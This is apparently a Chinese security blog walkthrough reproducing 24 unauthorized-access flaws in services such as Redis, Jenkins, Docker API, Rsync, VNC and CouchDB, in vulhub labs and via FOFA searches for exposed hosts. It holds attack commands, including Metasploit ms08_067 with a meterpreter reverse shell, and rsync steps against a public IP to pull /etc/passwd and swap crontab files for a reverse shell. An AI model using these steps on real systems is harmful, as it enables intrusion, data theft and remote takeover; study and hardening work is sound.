常见的未授权访问如:Redis,MongoDb,Memcached,Jenkins,Jupyter NoteBook,Elasticsearch,Kibana等二十四个靶场复现
前言
这这篇文章中我会记录24种常见的未授权访问漏洞的靶场复现,如果有错误,欢迎大家指正。
在本文中,漏洞复现的靶场完全是靠自己搭建的vulhub-master以及一系列的靶场以及fofa搜索,如果之前没有用过vulhub-master靶场,请先搭建好vulhub-master靶场并且安装docker和docker-compose。另外,其中一些涉及到敏感信息的漏洞复现我就不截图了,大家切记要树立好法律意识。
⼀:Redis未授权访问漏洞
产生条件:1、redis端口开在6379,没有添加防火墙规则和其他避免安全策略直接暴露在公网。
2、没有密码认证(一般为空),可以免密码远程登录redis服务。
靶机:进入目录cd /vulhub-master/redis/4-unacc,启动docker-compose up -d 查看:docker ps
攻击机:在kali上安装redis:apt install redis,redis-cli -h ip -p 6379
redis常见命令:
查看信息:info删除所有数据库内容:flushall刷新数据库:flushdb查看所有键:KEYS *,设置变量:set test \"whoami\"设置路径等配置:config set dir dirpath获取路径及数据配置信息:config get dir /dbfilename保存:save查看变量名称:get 变量
⼆:MongoDB未授权访问漏洞
产生条件:在启动mongodb时未设置--auth,也没有设置账号密码
搭建mongodb:docker pull mongodb,docker run -d -p 27017:27017 mongodb
使用nmap插件脚本扫描发现:nmap -p 27017 --script mongodb-info IP
也可以使用msf模块进行漏洞测试:
msfconsoleuse auxiliary/scanner/mongodb/mongodb_loginshow optionsset rhosts 172.16.1.79set threads 15exploit
三:Memcached未授权访问漏洞
Memcached 是⼀套常⽤的 key-value 分布式⾼速缓存系统,由于 Memcached 的安全设计缺陷没有权限控制模块,所以对公⽹开放的Memcache服务很容易被攻击者扫描发现,攻击者 ⽆需认证通过命令交互可直接读取 Memcached中的敏感信息。
下载Memcached程序并启动:
下载地址:https://www.runoob.com/memcached/window-install-memcached.html
命令(管理员权限):memcached.exe -d install ,memcached.exe -d start
使用nmap脚本进行漏洞扫描:nmap -p 11211 --script memcached-info ip
使用telnet程序探测11211端口:telnet IP 端口
操作命令:
stats 查看memcached服务状态
stats items 查看所有items
四、Jenkins未授权访问漏洞
一般情况下,jenkins面板中的用户可以选择执行脚本界面来操作一些系统命令,攻击者可以通过未授权访问漏洞或暴力破解用户密码等手段进入后台管理服务,通过脚本执行界面获取服务器权限。
用fofa语句查询:port=\"8080\" && app=\"JENKINS\" && title==\"Dashboard [Jenkins]
在打开的url中,点击Manage Jenkins --> Scritp Console执行命令
五、Jupyter NoteBook未授权访问漏洞
Jupyter Notebook(此前被称为 IPython notebook)是⼀个交互式笔记本。如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建⼀个console并执⾏任意Python代码和命令,默认端⼝:8888。
fofa语法:\"Jupyter Notebook\" && port=\"8888\" && \"terminals
vulhub靶场 :cd /vulhub/jupyter/notebook-rce ,docker-compose up -d
如果存在未授权访问漏洞可以直接访问http://IP:8888/tree?,会直接跳转到web管理界面
从New -> Terminal 新建⼀个终端,通过新建的终端可执⾏任意命令....
六:Elasticsearch未授权访问漏洞
ElasticSearch是⼀个基于Lucene的搜索服务器。它提供了⼀个分布式多⽤户能⼒的全⽂搜索引擎,基于RESTful web接⼝。Elasticsearch是⽤Java开发的,并作为Apache许可条款下的开放源码发布,是当前流⾏的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接⼝完成。由于 Elasticsearch授权模块需要付费,所以免费开源的Elasticsearch可能存在未授权访问漏洞。该漏洞导致攻击者可以拥有Elasticsearch的所有权限。可以对数据进⾏任意操作。业务系统将⾯临敏感数据泄露数据丢失、数据遭到破坏甚⾄遭到攻击者的勒索。
fofa语句:\"Elasticsearch\" && port=\"9200\"
如果存在未授权访问,就可以直接进入信息界面,不需要登录
查看信息节点:http://IP:端口/_nodes
七:Kibana未授权访问漏洞
Kibana是一个开源的分析与可视化平台,设计出来用于和Elasticsearch⼀起使用的。你可以 ⽤kibana搜索、查看存放在Elasticsearch中的数据。Kibana与Elasticsearch的交互方式是以各 种不同的图表、表格、地图等直观地展示数据,从而达到高级的数据分析与可视化的目的Elasticsearch、Logstash和Kibana这三个技术就是我们常说的ELK技术栈,可以说这三个技术的组合是⼤数据领域中⼀个很巧妙的设计。⼀种很典型的MVC思想,模型持久层,视图层和 控制层。Logstash担任控制层的角色,负责搜集和过滤数据。Elasticsearch担任数据持久层的角色,负责储存数据。而我们这章的主题Kibana担任视图层角色,拥有各种维度的查询和分析, 并使⽤图形化的界面展示存放在Elasticsearch中的数据。
fofa语句:\"kibana\" && port=\"5601\"
直接访问无需登录
八、Docker Remote API未授权访问漏洞
Docker是⼀个开源的应用容器引擎,让开发者可以打包他们的应⽤以及依赖包到⼀个可移植
的容器中,然后发布到任何流行的LINUX机器上,也可以实现虚拟化。
Docker swarm 是⼀个将docker集群变成单⼀虚拟的docker host工具,使用标准的
Docker API,能够方便docker集群的管理和扩展,由docker官方提供。
Docker Remote API如配置不当可导致未授权访问,被攻击者恶意利⽤。攻击者⽆需认证即可访问
到Docker数据,可能导致敏感信息泄露,嘿客也可以删除 Docker上的数据,直接访问宿主机上的敏感信息,或对敏感⽂件进⾏修改,最终完全控制服务器。
漏洞复现:port=\"2375\" && \"docker\"
浏览器访问以下路径:http://ip:2375/version #查看版本信息 ,http://ip:2375/info #查看容器信息
使用-H参数连接靶机docker:docker -H tcp://ip ps/version/run/pull.....
甚至可以docker -H tcp://IP pull 下载可以docker逃逸的容器,利用docker逃逸间接获取主机控制权
九、Kubernetes Api Server未授权访问漏洞
Kubernetes 的服务在正常启动后会开启两个端⼝:Localhost Port (默认8080)、Secure Port (默认6443)。这两个端⼝都是提供 Api Server 服务的,⼀个可以直接通过 Web 访问,另⼀个可以通过 kubectl 客户端进⾏调⽤。如果运维⼈员没有合理的配置验证和权限,那么攻击者就可以通过这两个接⼝去获取容器的权限。
fofa语法:port=\"8080\" && app=\"Kubernetes\"
在打开的页面访问8080端口会返回可用的API列表。
十:Zookeeper未授权访问漏洞
Zookeeper是分布式协同管理⼯具,常⽤来管理系统配置信息,提供分布式协同服务。Zookeeper的默认开放端⼝是 2181 。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利⽤Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进⾏破坏(⽐如:kill命令)。攻击者能够执⾏所有只允许由管理员运⾏的命令。
fofa语句:port=\"2181\" && \"Zookeeper\" && country=\"US\"
在kali中使用命令:echo envi | nc ip 端口
可是使用zookeeper攻击连接
十一:Hadoop未授权访问漏洞
Hadoop是⼀个由Apache基⾦会所开发的分布式系统基础架构,由于服务器直接在开放了Hadoop 机器 HDFS 的 50070 web 端⼝及部分默认服务端⼝,⿊客可以通过命令⾏操作多个⽬ 录下的数据,如进⾏删除,下载,⽬录浏览甚⾄命令执⾏等操作,产⽣极⼤的危害。
fofa语句:port=\"8088\" && app=\"Hadoop\"
开启页面直接访问不用登录
十二:ActiveMQ未授权访问漏
ActiveMQ是⼀款流⾏的开源消息服务器。默认情况下,ActiveMQ服务是没有配置安全参数。恶意⼈员可以利⽤默认配置弱点发动远程命令执⾏攻击,获取服务器权限,从⽽导致数据泄露。
fofa语句:body=\"ActiveMQ\" && port=\"8161\"
ActiveMQ默认端口是8161,默认的用户名和密码是admin和admin,
在url后拼接admin:http://IP:8161/admin/,账号密码填admin。
十三:RabbitMQ未授权访问漏洞
RabbitMQ是⽬前⾮常热⻔的⼀款消息中间件,基于AMQP协议的,可以在发布者和使⽤者之间交换异步消息。消息可以是⼈类可读的JSON,简单字符串或可以转换为JSON字符串的值列表。
fofa语句:port=\"15672\"
port=\"15692\"
port=\"25672\"
RabbitMQ的游客账号密码是guest和guest,可以试着输入guest,guest登录。
十四:Springboot Actuator未授权访问漏
Actuator 是 springboot 提供的⽤来对应⽤系统进⾏⾃省和监控的功能模块,借助于 Actuator 开发者可以很⽅便地对应⽤系统某些监控指标进⾏查看、统计等。在 Actuator 启⽤的情况下,如果没有 做好相关权限控制,⾮法⽤户可通过访问默认的执⾏器端点(endpoints)来获取应⽤系统中的监控信息,从⽽导致信息泄露甚⾄服务器被接管的事件发⽣。
Actuator 是 springboot 提供的⽤来对应⽤系统进⾏⾃省和监控的功能模块。其提供的执⾏器端点分为两类:原⽣端点和⽤户⾃定义扩展端点,原⽣端点主要有:
/autoconfig - 显示⾃动配置报告/configprops - 显示配置属性/trace - 显示最后⼏条HTTP消息(可能包含会话标识符)/logfile - 输出⽇志⽂件的内容/shutdown - 关闭应⽤程序/info - 显示应⽤信息/metrics - 显示当前应⽤的’指标’信息/health - 显示应⽤程序的健康指标/beans - 显示Spring Beans的完整列表/mappings - 显示所有MVC控制器映射/env - 提供对配置环境的访问/restart - 重新启动应⽤程序/dump - 显示线程转储(包括堆栈跟踪)
fofa语句:icon_hash=\"116323821\"
当 web 应⽤程序出现 4xx、5xx 错误时显示类似以下页面就能确定当前 web 应⽤是使⽤了springboot 框架....

拼接路径查看数据:
访问/trace端点获取基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等),如果存在登录⽤户的操作 请求,可以伪造cookie进⾏登录。访问/env端点获取全部环境属性,由于 actuator 会监控站点 mysql、mangodb 之类的数据库服务,所以通过监控信息有时可以mysql、mangodb 数据库信息,如果数据库正好开放在公⽹,那造 成的危害是巨⼤的。git 项⽬地址泄露,这个⼀般是在/health 路径,⽐如如下站点,访问其 health 路径可探测到站 点 git 项⽬地址。
十五:FTP未授权访问漏洞(匿名登陆)
ftp弱口令或匿名登陆漏洞,指使用FTP的用户启用了匿名登录功能,或系统口令长度太短,复杂度不够、仅包含数据或仅包含字母等,容易被黑客攻击,发生恶意文件上传或更严重的入侵行为。
⼗六:JBoss未授权访问漏洞
JBoss是⼀个基于J2EE的开放源代码应⽤服务器,代码遵循LGPL许可,可以在任何商业应⽤中免费使⽤;JBoss也是⼀个管理EJB的容器和服务器,⽀持EJB 1.1、EJB 2.0和EJB3规范。,默认情况下访 问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。
fofa语句:title=\"Welcome to JBoss\" && icon_hash=\"-656811182\"
拼接以下路径且⽆需认证直接进⼊控制页面,拼接路径 http://ip:port/jmx-console/
十七:Ldap未授权访问漏洞
LDAP中⽂全称为:轻型⽬录访问协议(Lightweight Directory Access Protocol),默认使⽤389, LDAP 底层⼀般使⽤ TCP 或 UDP 作为传输协议。⽬录服务是⼀个特殊的数据库,是⼀种以树 状结构的⽬录数据库为基础。 未对LDAP的访问进⾏密码验证,导致未授权访问。
fofa语句:port=\"389\"
使用工具连接验证:
工具下载地址:
Ldapadmin⼯具 http://www.ldapadmin.org/download/index.html
十八:Rsync未授权访问漏洞
Rsync 是Linux/Unix下的⼀个远程数据同步⼯具,可通过LAN/WAN快速同步多台主机间的⽂件和⽬录,默认运⾏在873端⼝。由于配置不当,导致任何⼈可未授权访问rsync,上传本地⽂件,下载 服务器⽂件。 Rsync 默认允许匿名访问,如果在配置⽂件中没有相关的⽤户认证以及⽂件授权,就会触发隐患。Rsync 的默认端⼝为 837 且默认配置⽂件路径在 /etc/rsync.conf
配置⽂件:motd file -> motd⽂件位置log file -> ⽇志⽂件位置⽂件位置path -> 默认路径位置路径位置use chroot -> 是否限定在该⽬录下定在该⽬录下该⽬录下,如果为true就限定为模块默认⽬录read only -> 只读配置list=true -> 是否可以列出模块名以列出模块名出模块名uid = root -> 传输使⽤的⽤户名gid = root -> 传输使⽤的⽤户组auth users -> 认证⽤户名secrets file=/etc/rsyncd.passwd -> 指定密码⽂件密码⽂件,密码⽂件/etc/rsyncd.passwd的内容格式为:username:passwordhosts allow=192.168.0.101 -> 设置可以允许访问的主机hosts deny 禁⽌的主机*表任意任意 基本命令:Rsync [-avrlptgoD] [-e ssh] [user@hostIP:/dir] [/local/path]-v 观察模式,输出更多资讯-q 与 –v 相反,仅显示错误信息-r 递归复制,针对⽬录-u 仅更新较新的⽂件-l 复制连接的属性-p 复制时保持属性不变-g 保存原有群组-o 保存原有拥有⼈-D 保存原有装置属性-t 保存原有时间属性-I 忽略更新时间属性,档案⽐对较快-z 加上压缩参数-e 使⽤协议通道,例如ssh,-e ssh-a 相对于-rlptgoD,所以-a最常⽤
漏洞描述:
Rsync未授权访问带来的危害主要有两个:1. 造成了严重的信息泄露; 2. 上传脚本文件,远程命令执行;
一、
fofa语句:(port=\"873\") && (is_honeypot=false && is_fraud=false)
vulhub靶场:cd vulhub/rsync/common ,docker-compose up -d
二、
使用nmap扫描端口:nmap -p 873 --script rsync-list-modules IP
或使用Metasploit中关于允许匿名访问的rsync扫描模块进⾏探测:
auxiliary/scanner/rsync/modules_list
三、
rsync rsync://124.221.58.83:873/src/ #读取文件
rsync rsync://IP:port/src/etc/passwd 本机路径 #将目标上的敏感文件下载到本机上
rsync 本机路径 rsync://124.221.58.83:873/src/home/ #将本机文件上传到目标上
四、
根据以上操作我们可以进行反弹shell
查看定时任务:rsync rsync://124.221.58.83:873/src/etc/crontab
将定时任务⽂件下载下来:rsync rsync://124.221.58.83/src/etc/crontab /tmp/tmp/crontab.txt
观察定时任务中有没有执行文件的,如果有就在本地写一个文件,并将反弹shell语句写进去,上传到目标机上替换那个文件,时间一到就可以自动执行了。如果没有就自己写一个定时任务文件上传把原来那个替换掉,然后重复上面的步骤(目标机重启后才会生效)
十九:VNC未授权访问漏洞
VNC 是虚拟⽹络控制台 Virtual Network Console 的英⽂缩写。它是⼀款优秀的远程控制⼯具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的 免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端⼝号为 5900、5901。VNC 未授权访问漏洞如被利⽤可能造成恶意⽤户直接控制target主机。
fofa语句:(port=\"5900\") && (is_honeypot=false && is_fraud=false)
通过MSF中的模块进⾏检测与漏洞利⽤:
# VNC未授权检测msf6 > use auxiliary/scanner/vnc/vnc_none_authmsf6 auxiliary(scanner/vnc/vnc_none_auth) > show optionsmsf6 auxiliary(scanner/vnc/vnc_none_auth) > set rhosts 172.16.1.1-254msf6 auxiliary(scanner/vnc/vnc_none_auth) > set threads 100msf6 auxiliary(scanner/vnc/vnc_none_auth) > run# VNC密码爆破msf6 > use auxiliary/scanner/vnc/vnc_loginmsf6 auxiliary(scanner/vnc/vnc_login) > set rhosts 172.16.1.200msf6 auxiliary(scanner/vnc/vnc_login) > set blank_passwords true //弱密码爆破msf6 auxiliary(scanner/vnc/vnc_login) > run# 加载攻击模块msf6 exploit(windows/smb/ms08_067_netapi) > use exploit/windows/smb/ms08_067_netapimsf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/reverse_tcpmsf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 172.16.1.200msf6 exploit(windows/smb/ms08_067_netapi) > set lhost 172.16.1.10msf6 exploit(windows/smb/ms08_067_netapi) > set target 34msf6 exploit(windows/smb/ms08_067_netapi) > exploit获取会话后,直接run vnc可控制远程虚拟机# 直接控制远程机器msf6 > use exploit/multi/handlermsf6 exploit(multi/handler) > set payload windows/vncinject/reverse_tcpmsf6 exploit(multi/handler) > set lhost 172.16.1.200msf6 exploit(multi/handler) > set lport 4466msf6 exploit(multi/handler) > exploit
VNC链接验证:vncviewer ipaddress
二十:Dubbo未授权访问漏洞
Dubbo是阿⾥巴巴公司开源的⼀个⾼性能优秀的 服务框架,使得应⽤可通过⾼性能的 RPC实现服务的输 出和输⼊功能,可以和 Spring框架⽆缝集成。dubbo 因配置不当导致未授权访问漏洞。
fofa语句:(app=\"APACHE-dubbo\") && (is_honeypot=false && is_fraud=false)
使⽤Telnet程序直接进⾏链接测试:telnet IP port
二十一:NSF共享⽬录未授权访问
Network File System(NFS),是由SUN公司研制的UNIX表示层协议(pressentation layerprotocol),能使使⽤者访问⽹络上别处的⽂件就像在使⽤⾃⼰的计算机⼀样。服务器在启⽤nfs 服务以后,由于nfs服务未限制对外访问,导致共享⽬录泄漏。
fofa语句:\"nfs\"
执行命令进⾏漏洞复现:
安装nfs客户端 :apt install nfs-common
查看nfs服务器上的共享⽬录 :showmount -e 192.168.126.130
挂载相应共享⽬录到本地:mount -t nfs 192.168.126.130:/grdata /mnt
卸载⽬录:umount /mnt
⼆⼗⼆:Druid未授权访问漏洞
当开发者配置不当时就可能造成未授权访问下⾯给出常⻅Druid未授权访问路径
漏洞特征:
http://www.xxxx.com/druid/index.htmlhttp://www.xxxx.com/druid/websession.htmlhttp://www.xxxx.com/system/druid/websession.htmlhttp://www.xxxx.com/webpage/system/druid/websession.html(jeecg)
fofa语句:title=\"Druid Stat Index
Druid批量扫描脚本:https://github.com/MzzdToT/CVE-2021-34045
二十三:CouchDB未授权访问
Apache CouchDB是⼀个开源数据库,专注于易⽤性和成为\"完全拥抱web的数据库\" 。它是⼀个使⽤JSON作为存储格式,JavaScript作为查询语⾔,MapReduce和HTTP作为API的 NoSQL数据库。应⽤⼴泛,如BBC⽤在其动态内容展示平台,Credit Suisse⽤在其内部的商品 部⻔的市场框架,Meebo,⽤在其社交平台(web和应⽤程序)。
在2017年11⽉15⽇,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是⼀个任意命令执⾏漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在 设计、执⾏view的时候将被运⾏。默认端⼝是6984
fofa语法:(port=\"5984\") && (is_honeypot=false && is_fraud=false)
Vulhub靶场 :cd /vulhub/couchdb/CVE-2017-12636 ,docker-compose up -d
执⾏未授权访问测试命令:curl 192.168.1.4:5984 ,curl 192.168.1.4:5984/_config
反弹shell参考:CouchDB 未授权访问漏洞总结_couchdb未授权访问漏洞-CSDN博客
二十三:Altassian Crowd未授权访问漏洞(授权官网变换)
Atlassian Crowd和Atlassian Crowd Data Center都是澳⼤利亚Atlassian公司的产品。Atlassian Crowd是⼀套基于Web的单点登录系统。该系统为多用户、网络应用程序和目录服务
器提供验证、授权等功能。Atlassian Crowd Data Center是Crowd的集群部署版。AtlassianCrowd和Crowd Data Center在其某些发行版本中错误地启用了pdkinstall开发插件,使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限。其端口:8095
影响版本
2.1.0 <= version < 3.0.5
3.1.0 <= version < 3.1.6
3.2.0 <= version < 3.2.8
3.3.0 <= version < 3.3.5
3.4.0 <= version < 3.4.4
二十四:RTSP未授权访问漏洞
RTSP(Real Time Streaming Protocol),实时流传输协议,是TCP/IP协议体系中的⼀个应⽤层协议,该协议定义了⼀对多应⽤程序如何有效地通过IP⽹络传送多媒体数据,被⼴泛⽤于 视频直播领域,为⽅便⽤户远程监控摄像头内容,许多摄像头⼚商会在摄像头或NVR中开启RTSP服务器。攻击者可通过VLC等视频播放软件打开rtsp地址进⾏摄像头画⾯的实时查看。
fofa语句:(port=\"554\") && (is_honeypot=false && is_fraud=false) && protocol=\"rtsp\"


